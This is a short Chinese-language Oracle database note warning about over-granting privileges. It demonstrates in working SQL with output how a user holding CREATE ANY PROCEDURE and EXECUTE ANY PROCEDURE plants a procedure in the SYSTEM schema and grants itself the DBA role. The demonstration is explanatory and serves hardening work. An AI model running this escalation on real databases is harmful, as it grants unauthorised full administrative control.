过度授权的风险

create user nick identified by nick;
grant create session to nick;
grant create any procedure to nick;
grant execute any procedure to nick;

现在CREATE ANY PROCEDURE的权限可以使用户创建任何过程：

conn nick/nick
CREATE OR REPLACE PROCEDURE SYSTEM.DO(P_TEXT VARCHAR2)
IS
BEGIN
EXECUTE IMMEDIATE P_TEXT;
END;
/

现在EXECUTE ANY PROCEDURE的权限，可以使用户执行创建的过程，进行跨越职权的授权：

execute system.do('grant dba to nick');

检查一下当前用户具有的权限：
SELECT * FROM SESSION_PRIVS;
PRIVILEGE
----------------------------------------
CREATE SESSION
UNLIMITED TABLESPACE
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

SELECT * FROM SESSION_ROLES;
ROLE
------------------------------
PLUSTRACE

重新连接会激活角色授权，可以注意到用户已经具备了DBA的职权：
connect nick/nick
SELECT * FROM SESSION_ROLES;

ROLE
------------------------------
PLUSTRACE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
JAVA_ADMIN
JAVA_DEPLOY

SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
。。。。。。。。